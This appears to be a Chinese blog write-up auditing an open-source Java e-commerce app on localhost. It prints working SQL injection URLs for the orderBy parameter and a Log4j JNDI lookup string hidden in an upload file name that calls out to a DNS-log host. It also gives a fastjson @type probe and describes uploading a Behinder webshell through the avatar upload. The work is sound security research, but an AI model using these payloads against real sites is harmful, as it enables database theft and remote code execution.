Java代码审计之迷你天猫商城

SQL注入

前台SQL注入

​ 通过观察pom.xml引入的依赖可看到引入了极可能产生SQL注入的mybatis,可能产生SQL注入的点就是在使用${}对参数进行接受时,如果没有编写特定的filter过滤器就会导致存在SQL注入,全局搜索${}

一个一个来看,第一个漏洞点。

需要传入的是${orderUtil.orderBy},按照调用的规则在dao层下存在同名java文件调用

看到OrderUtil,和我们传入的${orderUtil.orderBy}是一个,跟进去看下函数。

有两种传参数方式,传入一个orderBy或者多传入一个排序的参数isDesc,这个参数默认是true,接下来就去看哪里调用了orderBy。发现后台调用的很多,找到一个在前台调用的,通过RequestParam传入,红框下面的那一行代码确定了isDesc这个参数默认为true。所以可以使用上图的一个参数的构造方法。

需要注意下的地方,随便传入两个数字即可,然后后面跟oderBy参数

Payload

[http://localhost:8088/tmall/product/1/2/?orderBy=1%20and%20(select%20extractvalue(%220x7e%22,concat(%27~%27,(select%20database())))a)](http://localhost:8088/tmall/product/1/2/?orderBy=1 and (select extractvalue(“0x7e”,concat(‘~’,(select database())))a))

但是存在的问题就是在前端页面并不能显示出database(),但是语句是正常执行了的

尝试构造时间注入payload如下。或者直接使用sqlmap跑也是可以的,我这里就只贴出来paylaod

[http://localhost:8088/tmall/product/1/2/?orderBy=1%20AND%20(SELECT%204088%20FROM%20(SELECT(SLEEP(2)))a)](http://localhost:8088/tmall/product/1/2/?orderBy=1 AND (SELECT 4088 FROM (SELECT(SLEEP(2)))a))

后台SQL注入

​ 大致利用相似只不过一个是前台一个是后台。

登陆一下换个payload直接一把梭了。

Payload

[http://localhost:8088/tmall/admin/product/1/2/?orderBy=1%20AND%20(SELECT%204088%20FROM%20(SELECT(SLEEP(2)))a)](http://localhost:8088/tmall/admin/product/1/2/?orderBy=1 AND (SELECT 4088 FROM (SELECT(SLEEP(2)))a))

文件上传漏洞

​ 这个漏洞点首先发现在管理员权限下,在上面找SQL注入的时候发现的Src\main\java\com\xq\tmall\controller\admin\ProductController.java

通过logger.info()获取了上传文件的文件名,下面也没有对其上传文件做过滤,猜测存在文件上传,不过在这个地方测试时候出现问题一直报500错误,索性直接去看是否有别的上传点。发现在前端也存在类似语句

普通用户修改头像处。尝试利用。直接传入了冰蝎马

成功上传冰蝎也成功链接

Log4j命令执行

​ 在上面看到获取上传文件名时是通过logger.info()来进行获取的相关漏洞原理

https://baijiahao.baidu.com/s?id=1719021490573494135&wfr=spider&for=pc

代码中会通过looger.info()获取文件名

filename可控就可能导致存在log4j漏洞。

Paylaod

${jndi:ldap://1bf6dba2.dnslog.xvnming.org.cn/exp}.jsp

通过DNS测试成功得到了请求包,存在log4j漏洞。

fastjson反序列化漏洞

​ 对这个fastjson漏洞前段时间看过一点,相对于别的反序列化来说fastjson反序列化有着其独特的方式,不再依靠serialize和unserialize来对对象进行序列化和反序列化的操作,而是通过jndi注入的方式实现RCE。fastjson的序列化就是将java对象转化为json字符串,而反序列化就是将json字符串转化为java对象。fastjson在反序列化的时候有两个api,一个是JSON.parseObject(),另一个是JSON.parse()。这两个有什么区别,JSON.parseObject()获得的是JSONObject,而JSON.parse()获得的是实际类的对象,当在没有对应类的定义的情况下,通常情况下都会使用JSON.parseObject来获取数据。全局搜索JSON.parseObject

路径如下

需要管理员权限

抓包然后看传入的参数

可以在propertyAddJson或propertyUpdateJson处构造反序列化payload

{“@type”:”java.net.Inet4Address”,”val”:”0052a044.dnslog.xvnming.org.cn”}

前台XSS

​ 前台搜索框处存在xss